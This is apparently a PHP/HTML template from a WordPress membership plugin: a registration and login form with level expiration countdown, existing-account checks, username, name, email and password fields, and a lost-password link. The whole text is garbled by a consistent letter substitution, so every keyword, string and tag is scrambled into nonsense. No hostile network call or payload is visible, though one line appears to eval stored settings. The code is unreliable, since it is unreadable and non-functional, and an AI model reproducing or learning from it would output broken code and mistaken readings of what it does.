AroBFDy (SlnBo4BkBun Fn SuBkBu): WQzmUY            QumUuxQzmUQumUWqyq xA (SuBkBu-QzmUuBkBu_nlEnDoxEBC == O): WQzmUQumUWqyq BDyr Dyo(HG)U WQzmUBnQumUWqyq BunB: WQzmU2rQumUWqyq BsCxAU WQzmUQumU/uxQzmUY         QumUWqyq BsCAroBFDyU WQzmUY         QumU/luQzmUY         QumU/mCQzmUYY         QumUmC DuFnn=QplrmUsltQplrmU nmhuB=QplrmUmBim-Fuxzs:uBAmUQplrmUQzmU QumUV-- oBzxnmBoBC --QzmUY         QumUWqyq xA (Drlsm(SlnBo4BkBun) QzmU P): WQzmUY         QumUlu nmhuB=QplrmUtFozxs:PUQplrmUQzmUY            QumUWqyq AroBFDy (SlnBo4BkBun Fn SuBkBu): WQzmUY            QumUuxQzmUQumUsrEoQzmUY               QumUWqyqY xA (SuBkBu-QzmUuBkBu_mxtBnmFtq) { BDyr CFmB(QplrmUt/C/QplrmU.Dyo(HG), SuBkBu-QzmUuBkBu_mxtBnmFtq)U BDyr QplrmU QumUntFuuQzmU(QplrmU.Smyxn-QzmUmxtBnxsDB(SuBkBu-QzmUuBkBu_mxtBnmFtq).QplrmU)QumU/ntFuuQzmUQplrmUU } BunB { BDyr CFmB(QplrmUt/C/QplrmU.Dyo(HG), SoBzxnmBoBC)U BDyr QplrmU QumUntFuuQzmU(QplrmU.Smyxn-QzmUmxtBnxsDB(SoBzxnmBoBC).QplrmU)QumU/ntFuuQzmUQplrmUU } WQzmUY            QumU/uxQzmUY            QumUWqyq BsCAroBFDyU WQzmUY         QumU/luQzmUY         QumUWqyq BunB: WQzmUY         QumUWqyqY BDyr CFmB(QplrmUt/C/QplrmU.Dyo(HG), nmomrmxtB(SlnBo-QzmUlnBo_oBzxnmBoBC))U BDyr QplrmU QumUntFuuQzmU(QplrmU.Smyxn-QzmUmxtBnxsDB(nmomrmxtB(SlnBo-QzmUlnBo_oBzxnmBoBC)).QplrmU)QumU/ntFuuQzmUQplrmUU WQzmUY         QumUWqyq BsCxAU WQzmUY         QumU/srEoQzmUY         QumU/mCQzmUYY         QumUmC DuFnn=QplrmUsltQplrmUQzmU QumUV-- BiqxoBn --QzmUY         QumUWqyq xA (Drlsm(SlnBo4BkBun) QzmU P): WQzmUY         QumUlu nmhuB=QplrmUtFozxs:PU Druro:TFFFFFFUQplrmUQzmUY            QumUWqyq AroBFDy (SlnBo4BkBun Fn SuBkBu): WQzmUY            QumUWqyqY SCFhncxnquFh = PU SoBFudors = sluuU SBiqxoFmxrs = xsmkFu(SuBkBu-QzmUuBkBu_BiqxoFmxrs)U SBiqxoFmxrscFmB = SuBkBu-QzmUuBkBu_mxtBnmFtq + (SBiqxoFmxrs*HJLPP)U xA (SBiqxoFmxrs QzmU P QFtqUQFtqU SBiqxoFmxrscFmB QzmU mxtB()) { SnDyBCluBCdors = tvmxtB(CFmB(QplrmU8QplrmU, SBiqxoFmxrscFmB), CFmB(QplrmUxQplrmU, SsBimdors), CFmB(QplrmUnQplrmU, SsBimdors), CFmB(QplrmUsQplrmU, SBiqxoFmxrscFmB), CFmB(QplrmUwQplrmU, SBiqxoFmxrscFmB), CFmB(Dyo(HG), SBiqxoFmxrscFmB))U xA (SnDyBCluBCdors QzmU SBiqxoFmxrscFmB) { SoBFudors = SnDyBCluBCdorsU } BunB { SoBFudors = tvmxtB(CFmB(QplrmU8QplrmU, SBiqxoFmxrscFmB)+O, CFmB(QplrmUxQplrmU, SsBimdors), CFmB(QplrmUnQplrmU, SsBimdors), CFmB(QplrmUsQplrmU, SBiqxoFmxrscFmB), CFmB(QplrmUwQplrmU, SBiqxoFmxrscFmB), CFmB(Dyo(HG), SBiqxoFmxrscFmB))U } SmxtB4BAm = SoBFudors - mxtB()U SCFhn4BAm = Aurro(SmxtB4BAm/HJLPP)U Syrlon4BAm = Aurro(SmxtB4BAm/MJPP) % NLU StxslmBn4BAm = Aurro(SmxtB4BAm/JP) % JPU SCFhncxnquFh = QplrmUQplrmUU xA (SCFhn4BAm QzmU P) { SCFhncxnquFh .= SCFhn4BAm . QplrmU CFhnQplrmUU } xA (Syrlon4BAm QzmU P) { SCFhncxnquFh .= QplrmU QplrmU.Syrlon4BAm . QplrmU yrlonQplrmUU } xA (StxslmBn4BAm QzmU P) { SCFhncxnquFh .= QplrmU QplrmU.StxslmBn4BAm . QplrmU txslmBnQplrmUU } SCFhncxnquFh = moxt(SCFhncxnquFh)U } WQzmUY            QumUuxQzmUY               QumUWqyq xA (SBiqxoFmxrs QzmU P QFtqUQFtqU SBiqxoFmxrscFmB QzmU mxtB()) { BDyr QTPMGUQumUnqFs mxmuB=QplrmUQTPMGU.ymtuBsmxmxBn(SCFhncxnquFh).QTPMGUQplrmUQzmUQTPMGU.CFmB(QplrmUt/C/QplrmU.Dyo(HG), SoBFudors) . QTPMGUQumU/nqFsQzmUQTPMGUU } BunB { BDyr QTPMGUQFtqUsEnqUQTPMGUU } WQzmUY            QumU/uxQzmUY            QumUWqyq BsCAroBFDyU WQzmUY         QumU/luQzmUY         QumUWqyq BunB: WQzmUY         QumUWqyq BDyr QTPMGUQFtqUsEnqUQTPMGUU WQzmUY         QumUWqyq BsCxAU WQzmUY         QumU/mCQzmUY      QumU/moQzmUY      QumUWqyq BsCAroBFDyU WQzmUYY      QumU/mErChQzmUY      QumU/mFEuBQzmUY      QumUWqyqY } qoxkFmB AlsDmxrs myxDvEri() { jq_BsplBlB_nDoxqm(QTPMGUmyxDvEriQTPMGU,sluu,FooFh(QTPMGUwplBohQTPMGU))U jq_BsplBlB_nmhuB(QTPMGUmyxDvEri.DnnQTPMGU, QTPMGU/QTPMGU.DrsnmFsm(QplrmU?072dQplrmU).QTPMGU/wn/myxDvEri/myxDvEri.DnnQTPMGU, sluu, QTPMGUO.PQTPMGU)U } AlsDmxrs oBzxnmBo(SEuFsv=AFunB) { zurEFu StBtEBozBsxlnU SqFzB = (xnnBm(S_	b&;b$#[QplrmUqFzBQplrmU]) W S_	b&;b$#[QplrmUqFzBQplrmU] : QplrmUQplrmU)U Squlzxs0FzB = (AlsDmxrs_Bixnmn(QplrmUqulzxs_EFnBsFtBQplrmU) W qulzxs_EFnBsFtB(__a74b__) : QplrmUQplrmU)U xA (VAlsDmxrs_Bixnmn(QplrmUDlooBsm_lnBo_DFsQplrmU) || VDlooBsm_lnBo_DFs(QplrmUtFsFzB_rqmxrsnQplrmU) || Vxn_FCtxs() || nmoqrn(SqFzB, Squlzxs0FzB) === AFunB) { xA (VStBtEBozBsxln-QzmUoBzxnmBo4BkBu QFtqUQFtqU VStBtEBozBsxln-QzmUoBzxnmBo#Btq) { oBmlosU } } BimoFDm(3BtEBo9Bsxln::BimoFDm())U SkFuxCFmB = 3BtEBo9Bsxln::kFuxCFmB()U xA (xnnBm(StBtEBozBsxln-QzmUoBzxnmBo3BmFCFmF)) { BimoFDm(StBtEBozBsxln-QzmUoBzxnmBo3BmFCFmF)U } SzBm = S_9b#U SuBkBu = vBh(SzBm)U FooFh_nyxAm(SzBm)U SzBm[QplrmUBixnmxszQplrmU] = PU Ssrsbixnmxsz4xsv = QplrmUWQplrmU.SuBkBu.QplrmUQFtqUQplrmU.ymmq_ElxuC_plBoh(SzBm)U SzBm[QplrmUBixnmxszQplrmU] = OU SBixnmxsz4xsv = QplrmUWQplrmU.SuBkBu.QplrmUQFtqUQplrmU.ymmq_ElxuC_plBoh(SzBm)U SzBm[QplrmUBixnmxszQplrmU] = OU SzBm[QplrmUqFnnjroC$BsmQplrmU] = OU Surnm0FnnjroC4xsv = nxmB_lou(QplrmUWQplrmU.SuBkBu.QplrmUQFtqUQplrmU.ymmq_ElxuC_plBoh(SzBm))U xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_lnBosFtBQplrmU])) { SlnBosFtB = nmoxqnuFnyBn(S_01$#[QplrmUtBtEBozBsxln_lnBosFtBQplrmU])U } xA (Vxn_FCtxs()) { xA (SzurEFu8BFCBo = StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(-O, QplrmUyBFCBoQplrmU)) { BkFu( QTPMGUWQzmU QTPMGU.nmoxqnuFnyBn(SzurEFu8BFCBo).QTPMGU QumUWqyq QTPMGU )U } xA (xnnBm(StBtEBozBsxln-QzmUoBzxnmBo4BkBu-QzmU7c) QFtqUQFtqU (SyBFCBo = StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(StBtEBozBsxln-QzmUoBzxnmBo4BkBu-QzmU7c, QplrmUyBFCBoQplrmU))) { BkFu( QTPMGUWQzmU QTPMGU.nmoxqnuFnyBn(SyBFCBo).QTPMGU QumUWqyq QTPMGU )U } } WQzmUYY   QumUWqyq xA (Vxn_FCtxs()): WQzmUY      QumUWqyq xA (xnnBm(S_9b#[QplrmUBixnmxszQplrmU]) QFtqUQFtqU S_9b#[QplrmUBixnmxszQplrmU] == O): WQzmUY      QumUq Fuxzs=QplrmUDBsmBoQplrmUQzmUQumUE nmhuB=QplrmUEFDvzorlsC-Druro:hBuurjUQplrmUQzmUQumUWqyq _B(QTPMGUbixnmxsz fDDrlsmQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmU:QumU/EQzmU QumUWqyq _B(QTPMGU7A hrl FuoBFCh yFkB Fs FDDrlsm AroQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmU QumUxQzmUQumUWqyq BDyr zBm_rqmxrs(QplrmUEurzsFtBQplrmU)U WQzmUQumU/xQzmU:QumUEo /QzmUY      QumUEQzmUQumUWqyq _B(QTPMGUaxuu xs myB arot eBurjQTPMGU)U WQzmUQumU/EQzmUQumU/qQzmUYY      QumUq Fuxzs=QplrmUDBsmBoQplrmUQzmUQumUE nmhuB=QplrmUEFDvzorlsC-Druro:hBuurjUQplrmUQzmUQumUWqyq _B(QTPMGU2Bj fDDrlsmQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmU:QumU/EQzmU QumUWqyq _B(QTPMGU7A hrl Cr srm yFkB Fs FDDrlsm AroQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmU QumUxQzmUQumUWqyq BDyr zBm_rqmxrs(QplrmUEurzsFtBQplrmU)U WQzmUQumU/xQzmU:QumUEo /QzmUY      QumUEQzmUQumUF nmhuB=QplrmUmBim-CBDroFmxrs:lsCBouxsBUQplrmU yoBA=QplrmUQumUWqyq BDyr Ssrsbixnmxsz4xsvU WQzmUQplrmUQzmUQumUWqyq _B(QTPMGUduxDv 8BoB mr doBFmB F 2Bj fDDrlsmQTPMGU)U WQzmUQumU/FQzmUQumU/EQzmUQumU/qQzmUY      QumUWqyq BunB: WQzmUY      QumUq Fuxzs=QplrmUDBsmBoQplrmUQzmUQumUE nmhuB=QplrmUEFDvzorlsC-Druro:hBuurjUQplrmUQzmUQumUWqyq _B(QTPMGUbixnmxsz fDDrlsmQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmU:QumU/EQzmU QumUWqyq _B(QTPMGU7A hrl FuoBFCh yFkB Fs FDDrlsm AroQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmU QumUxQzmUQumUWqyq BDyr zBm_rqmxrs(QplrmUEurzsFtBQplrmU)U WQzmUQumU/xQzmU:QumUEo /QzmUY      QumUEQzmUQumUF yoBA=QplrmUQumUWqyq BDyr SBixnmxsz4xsvU WQzmUQplrmU nmhuB=QplrmUmBim-CBDroFmxrs:lsCBouxsBUQplrmUQzmUQumUWqyq _B(QTPMGUduxDv 8BoB mr 4rzxsQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmU QFtqUFtqU QumUWqyq _B(QTPMGUfCC #yxn 0loDyFnB mr QTPMGU.Dyo(HG).QTPMGUrlo bixnmxsz fDDrlsmQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmUQumU/FQzmUQumU/EQzmUQumU/qQzmUYY      QumUq Fuxzs=QplrmUDBsmBoQplrmUQzmUQumUE nmhuB=QplrmUEFDvzorlsC-Druro:hBuurjUQplrmUQzmUQumUWqyq _B(QTPMGU2Bj fDDrlsmQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmU:QumU/EQzmU QumUWqyq _B(QTPMGU7A hrl Cr srm yFkB Fs FDDrlsm AroQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmU QumUxQzmUQumUWqyq BDyr zBm_rqmxrs(QplrmUEurzsFtBQplrmU)U WQzmUQumU/xQzmU:QumUEo /QzmUY      QumUEQzmUY      QumUWqyq xA ((xnnBm(S_9b#[QplrmUBixnmxszQplrmU]) QFtqUQFtqU S_9b#[QplrmUBixnmxszQplrmU] == P) || Drlsm(S_01$#) QzmU P): WQzmUY      QumUWqyq _B(QTPMGUaxuu xs myB arot eBurj mr doBFmB F 2Bj fDDrlsmQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmUY      QumUWqyq BunB: WQzmUY      QumUF nmhuB=QplrmUmBim-CBDroFmxrs:lsCBouxsBUQplrmU yoBA=QplrmUTQplrmU rsDuxDv=QplrmUCrDltBsm.zBmbuBtBsmeh7C(QTPMGUtBtEBozBsxln_oBzxnmoFmxrsQTPMGU).nmhuB.CxnquFh=QTPMGUEurDvQTPMGUU myxn.xssBo8#34 = QTPMGUaxuu xs myB arot eBurj mr doBFmB F 2Bj fDDrlsmQTPMGUU oBmlos AFunBUQplrmUQzmUQumUWqyq _B(QTPMGUduxDv 8BoB mr doBFmB F 2Bj fDDrlsmQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmUQumU/FQzmUY      QumUWqyq BsCxAU WQzmUY      QumU/EQzmUQumU/qQzmUY      QumUWqyq BsCxAU WQzmUQumUEo /QzmUY   QumUWqyq BsCxAU WQzmUYY   QumUArot tBmyrC=QplrmUqrnmQplrmUQzmUYY   QumUxsqlm mhqB=QplrmUyxCCBsQplrmU sFtB=QplrmUFDmxrsQplrmU kFulB=QplrmUtBtEBozBsxln_oBzxnmBoQplrmUQzmUYY   QumUWqyq xA (xn_lnBo_urzzBC_xs() QFtqUQFtqU DlooBsm_lnBo_DFs(QplrmUtFsFzB_rqmxrsnQplrmU)): WQzmUY   QumUxsqlm mhqB=QplrmUyxCCBsQplrmU sFtB=QplrmUjq_ymmq_oBABoBoQplrmU kFulB=QplrmUtBtEBozBsxlnQplrmU /QzmUY   QumUWqyq BsCxAU WQzmUYY   QumUWqyq xA (xnnBm(StBtEBozBsxln-QzmUoBzxnmBo#Btq)): WQzmUQumUxsqlm mhqB=QplrmUyxCCBsQplrmU sFtB=QplrmUtBtEBozBsxln_mBtqQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(StBtEBozBsxln-QzmUoBzxnmBo#Btq)U WQzmUQplrmUQzmUY   QumUWqyq BunBxA (xnnBm(StBtEBozBsxln-QzmUoBzxnmBo4BkBu-QzmUuBkBu_yFny)): WQzmUQumUxsqlm mhqB=QplrmUyxCCBsQplrmU sFtB=QplrmUtBtEBozBsxln_yFnyQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(StBtEBozBsxln-QzmUoBzxnmBo4BkBu-QzmUuBkBu_yFny)U WQzmUQplrmUQzmUY   QumUWqyq BsCxAU WQzmUYY   QumUWqyq xA (xnnBm(StBtEBozBsxln-QzmUoBzxnmBo4BkBu-QzmU7c)): WQzmUY   QumUxsqlm mhqB=QplrmUyxCCBsQplrmU sFtB=QplrmUtBtEBozBsxln_oBzxnmBoQplrmU kFulB=QplrmUQumUWqyq BDyr xsmkFu(StBtEBozBsxln-QzmUoBzxnmBo4BkBu-QzmU7c)U WQzmUQplrmUQzmUY   QumUWqyq BsCxAU WQzmUYY   QumUWqyq xA (xnnBm(S_9b#[QplrmUBixnmxszQplrmU]) QFtqUQFtqU S_9b#[QplrmUBixnmxszQplrmU] == O): WQzmUY   QumUyM nmhuB=QplrmUtFozxs:PUQplrmUQzmUQumUWqyq _B(QTPMGUbixnmxsz fDDrlsm 4rzxsQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmUQumU/yMQzmUYY   QumUWqyq xA (xnnBm(S_9b#[QplrmUqFnnjroC$BsmQplrmU])): WQzmUY   QumUEurDvplrmBQzmUY   QumUqQzmUQumUWqyq _B(QTPMGU2Bj qFnnjroC nBsm. 0uBFnB DyBDv hrlo BtFxu FsC DrsmxslB Axuuxsz xs myxn qFzB.QTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmUQumU/qQzmUY   QumU/EurDvplrmBQzmUY   QumUWqyq BunBxA (xnnBm(SkFuxCFmB[QplrmUlnBofkFxuFEuBQplrmU]) QFtqUQFtqU SkFuxCFmB[QplrmUlnBofkFxuFEuBQplrmU] == molB): WQzmUY   QumUEurDvplrmBQzmUY   QumUqQzmUQumUWqyq _B(QTPMGU;nBosFtB CrBn srm BixnmQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmU:QumUEo /QzmU QumUF yoBA=QplrmUQumUWqyq BDyr Ssrsbixnmxsz4xsvU WQzmUQplrmUQzmUQumUWqyq _B(QTPMGUduxDv yBoB mr DoBFmB F sBj FDDrlsm.QTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmUQumU/FQzmUQumU/qQzmUY   QumU/EurDvplrmBQzmUYY   QumUWqyq BunBxA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_qFnnjroCOQplrmU]) QFtqUQFtqU xnnBm(SkFuxCFmB[QplrmUqFnnjroCdrooBDmQplrmU]) QFtqUQFtqU SkFuxCFmB[QplrmUqFnnjroCdrooBDmQplrmU] == AFunB): WQzmUY   QumUEurDvplrmBQzmUY   QumUqQzmUQumUWqyq _B(QTPMGU0FnnjroC xsDrooBDmQTPMGU)U WQzmU:QumUEo /QzmU QumUF yoBA=QplrmUQumUWqyq BDyr jq_urnmqFnnjroC_lou(Surnm0FnnjroC4xsv)U WQzmUQplrmUQzmUQumUWqyq _B(QTPMGUduxDv yBoB mr oBmoxBkB hrlo qFnnjroCQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmUQumU/FQzmUQumUEo /QzmU Y   QumUWqyq _B(QTPMGU1qBsn xs F sBj jxsCrj, EB nloB mr DrtB EFDv mr myxn qFzB.QTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmUQumU/qQzmUY   QumU/EurDvplrmBQzmUY   QumUWqyq BsCxAU WQzmUYY   QumUmFEuB DBuuqFCCxsz=QplrmUPQplrmU DBuunqFDxsz=QplrmUPQplrmUQzmUY   QumUmErChQzmUY   QumUmoQzmUY      QumUmC nmhuB=QplrmUkBomxDFu-Fuxzs:mrqU jxCmy:NPPqiUQplrmUQzmUQumUuFEBu Aro=QplrmUtBtEBozBsxln_lnBosFtBQplrmUQzmUQumUEQzmUQumUWqyq _B(QTPMGUbixnmxsz ;nBosFtBQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmU:QumU/EQzmUQumU/uFEBuQzmUQumU/mCQzmUY      QumUmC nmhuB=QplrmUkBomxDFu-Fuxzs:mrqUQplrmUQzmUQumUxsqlm mhqB=QplrmUmBimQplrmU sFtB=QplrmUtBtEBozBsxln_lnBosFtBQplrmU xC=QplrmUtBtEBozBsxln_lnBosFtBQplrmU nxgB=QplrmUOKQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SlnBosFtB)U WQzmUQplrmUQzmUY      QumU/mCQzmUY   QumU/moQzmUYY   QumUmoQzmUY      QumUmC nmhuB=QplrmUkBomxDFu-Fuxzs:mrqUQplrmUQzmUQumUuFEBu Aro=QplrmUtBtEBozBsxln_qFnnjroCQplrmUQzmUQumUEQzmUQumUWqyq _B(QTPMGU0FnnjroCQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmU:QumU/EQzmUQumU/uFEBuQzmUQumU/mCQzmUY      QumUmC nmhuB=QplrmUkBomxDFu-Fuxzs:mrqUQplrmUQzmUQumUxsqlm mhqB=QplrmUqFnnjroCQplrmU sFtB=QplrmUtBtEBozBsxln_qFnnjroCOQplrmU xC=QplrmUtBtEBozBsxln_qFnnjroCQplrmU nxgB=QplrmUOPQplrmUQzmUY      QumU/mCQzmUY   QumU/moQzmUYY   QumUmoQzmUY      QumUmC nmhuB=QplrmUkBomxDFu-Fuxzs:mrqUQplrmUQzmUQFtqUsEnqUQumU/mCQzmUY      QumUmC nmhuB=QplrmUkBomxDFu-Fuxzs:mrqUQplrmUQzmUY         QumUxsqlm mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrs-qoxtFohQplrmU kFulB=QplrmU   QumUWqyq _B(QTPMGU4rzxs mr bixnmxsz fDDrlsmQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmU   QplrmUQzmU QFtqUsEnqUQFtqUsEnqUQFtqUsEnqUY         QumUF yoBA=QplrmUQumUWqyq BDyr jq_urnmqFnnjroC_lou(oFjlouBsDrCB(Surnm0FnnjroC4xsv))U WQzmUQplrmUQzmUQumUWqyq _B(QTPMGUarozrm 0FnnjroCWQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmUQumU/FQzmUY      QumU/mCQzmUY   QumU/moQzmUY   QumU/mFEuBQzmUY   Y   QumUWqyq BunB: WQzmUY   QumUWqyq xA (Vxn_FCtxs()): WQzmUY   QumUCxk xC=QplrmUtBtEBozBsxln_oBzxnmoFmxrsQplrmUQzmUY   QumUyM nmhuB=QplrmUtFozxs:PUQplrmUQzmUQumUWqyq BDyr __(QTPMGU2Bj fDDrlsmQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU) . QTPMGU QTPMGU .__(QTPMGU	BzxnmoFmxrsQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmUQumU/yMQzmUY   QumUWqyq StBtEBozBsxln-QzmUnrDxFu-QzmUoBzxnmoFmxrs()U WQzmUY   QumUWqyq BsCxAU WQzmUYY   QumUmFEuB DBuuqFCCxsz=QplrmUPQplrmU DBuunqFDxsz=QplrmUPQplrmUQzmUY   QumUmErChQzmUYY   QumUmoQzmUY      QumUmC nmhuB=QplrmUkBomxDFu-Fuxzs:mrqU jxCmy:NPPqiUQplrmUQzmUQumUuFEBu Aro=QplrmUtBtEBozBsxln_lnBosFtBQplrmUQzmUQumUEQzmUQumUWqyq _B(QTPMGU2Bj ;nBosFtBQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmU:QumU/EQzmUQumU/uFEBuQzmUQumU/mCQzmUY      QumUmC nmhuB=QplrmUkBomxDFu-Fuxzs:mrqUQplrmUQzmUQumUxsqlm mhqB=QplrmUmBimQplrmU sFtB=QplrmUtBtEBozBsxln_lnBosFtBQplrmU xC=QplrmUtBtEBozBsxln_lnBosFtBQplrmU nxgB=QplrmUOKQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SlnBosFtB)U WQzmUQplrmU rsEulo=QplrmUtBtEBozBsxln_nlzzBnm()QplrmU /QzmUY      QumUCxk DuFnn=QplrmUCBnDQplrmUQzmUY         QumUWqyq xA (VSkFuxCFmB[QplrmUBtqmhQplrmU] QFtqUQFtqU VSkFuxCFmB[QplrmUlnBosFtBQplrmU]): WQzmUQumUWqyq _B(QTPMGUb		1	: cBnxoBC lnBosFtB tlnm EB Fm uBFnm L DyFoFDmBon (uBmmBon FsC sltEBon) ursz.QTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmUQumUEo /QzmUY         QumUWqyq BunBxA (VSkFuxCFmB[QplrmUBtqmhQplrmU] QFtqUQFtqU VSkFuxCFmB[QplrmUlnBofkFxuFEuBQplrmU]): WQzmUQumUWqyq _B(QTPMGUb		1	: #yFm lnBosFtB xn mFvBs, quBFnB moh FsrmyBo.QTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmUQumUEo /QzmUY         QumUWqyq BunB: WQzmUQumUWqyq _B(QTPMGUbsmBo hrlo CBnxoBC lnBosFtB.QTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmUQumUEo /QzmU QumUWqyq _B(QTPMGU3lnm EB Fm uBFnm L DyFoFDmBon (uBmmBon FsC sltEBon) ursz.QTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmUQumUWqyq BsCxAU WQzmUY      QumU/CxkQzmUY      QumU/mCQzmUY   QumU/moQzmUYY   QumUmoQzmUY      QumUmC nmhuB=QplrmUkBomxDFu-Fuxzs:mrqUQplrmUQzmUQumUuFEBu Aro=QplrmUtBtEBozBsxln_AxonmsFtBQplrmUQzmUQumUEQzmUQumUWqyq _B(QTPMGUaxonm 2FtBQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmU:QumU/EQzmUQumU/uFEBuQzmUQumU/mCQzmUY      QumUmC nmhuB=QplrmUkBomxDFu-Fuxzs:mrqUQplrmUQzmUY         QumUxsqlm mhqB=QplrmUmBimQplrmU sFtB=QplrmUtBtEBozBsxln_AxonmsFtBQplrmU xC=QplrmUtBtEBozBsxln_AxonmsFtBQplrmU nxgB=QplrmUOKQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SAxonmsFtB)U WQzmUQplrmU /QzmUY         QumUCxk DuFnn=QplrmUCBnDQplrmUQzmUQumUWqyq xA (VSkFuxCFmB[QplrmUBtqmhQplrmU] QFtqUQFtqU VSkFuxCFmB[QplrmUAxonmsFtBQplrmU]): WQzmUQumUWqyq _B(QTPMGUb		1	: QTPMGU.Dyo(HG).QTPMGUrlo Axonm sFtB tlnm EB Fm uBFnm N DyFoFDmBon (uBmmBon FsC sltEBon) ursz.QTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmUQumUEo /QzmUQumUWqyq BsCxAU WQzmUQumU/CxkQzmUY      QumU/mCQzmUY   QumU/moQzmUYY   QumUmoQzmUY      QumUmC nmhuB=QplrmUkBomxDFu-Fuxzs:mrqUQplrmUQzmUQumUuFEBu Aro=QplrmUtBtEBozBsxln_uFnmsFtBQplrmUQzmUQumUEQzmUQumUWqyq _B(QTPMGU4Fnm 2FtBQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmU:QumU/EQzmUQumU/uFEBuQzmUQumU/mCQzmUY      QumUmC nmhuB=QplrmUkBomxDFu-Fuxzs:mrqUQplrmUQzmUQumUxsqlm mhqB=QplrmUmBimQplrmU sFtB=QplrmUtBtEBozBsxln_uFnmsFtBQplrmU xC=QplrmUtBtEBozBsxln_uFnmsFtBQplrmU nxgB=QplrmUOKQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SuFnmsFtB)U WQzmUQplrmUQzmUY      QumUCxk DuFnn=QplrmUCBnDQplrmUQzmUQumUWqyq xA (VSkFuxCFmB[QplrmUBtqmhQplrmU] QFtqUQFtqU VSkFuxCFmB[QplrmUuFnmsFtBQplrmU]): WQzmUQumUWqyq _B(QTPMGUb		1	: QTPMGU.Dyo(HG).QTPMGUrlo uFnm sFtB tlnm EB Fm uBFnm N DyFoFDmBon (uBmmBon FsC sltEBon) ursz.QTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmUQumUEo /QzmUQumUWqyq BsCxAU WQzmUQumU/CxkQzmUY   QumU/moQzmUYY   QumUmoQzmUY      QumUmC nmhuB=QplrmUkBomxDFu-Fuxzs:mrqUQplrmUQzmUQumUuFEBu Aro=QplrmUtBtEBozBsxln_BtFxuQplrmUQzmUQumUEQzmUQumUWqyq _B(QTPMGUbtFxuQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmU:QumU/EQzmUQumU/uFEBuQzmUQumU/mCQzmUY      QumUmC nmhuB=QplrmUkBomxDFu-Fuxzs:mrqUQplrmUQzmUQumUxsqlm mhqB=QplrmUBtFxuQplrmU sFtB=QplrmUtBtEBozBsxln_BtFxuQplrmU xC=QplrmUtBtEBozBsxln_BtFxuQplrmU nxgB=QplrmUNKQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SBtFxu)U WQzmUQplrmUQzmUY      QumUCxk DuFnn=QplrmUCBnDQplrmUQzmUY         QumUWqyq xA (VSkFuxCFmB[QplrmUBtqmhQplrmU] QFtqUQFtqU VSkFuxCFmB[QplrmUBtFxuQplrmU]): WQzmUQumUWqyq _B(QTPMGUb		1	: 0uBFnB BsmBo F kFuxC BtFxu FCCoBnn.QTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmUQumUEo /QzmUY         QumUWqyq BunBxA (VSkFuxCFmB[QplrmUBtqmhQplrmU] QFtqUQFtqU VSkFuxCFmB[QplrmUBtFxufkFxuFEuBQplrmU]): WQzmUQumUWqyq _B(QTPMGUb		1	: #yFm BtFxu FCCoBnn xn mFvBs, quBFnB moh FsrmyBo.QTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmUY         QumUWqyq BsCxAU WQzmUY      QumU/CxkQzmUY      QumU/mCQzmUY   QumU/moQzmUYY   QumUmoQzmUY      QumUmC nmhuB=QplrmUkBomxDFu-Fuxzs:mrqUQplrmUQzmUQumUuFEBu Aro=QplrmUtBtEBozBsxln_qFnnjroCOQplrmUQzmUQumUEQzmUQumUWqyq _B(QTPMGU0FnnjroC (mjxDB)QTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmU:QumU/EQzmUQumU/uFEBuQzmUQumU/mCQzmUY      QumUmC nmhuB=QplrmUkBomxDFu-Fuxzs:mrqUQplrmUQzmUY         QumUWqyq xA 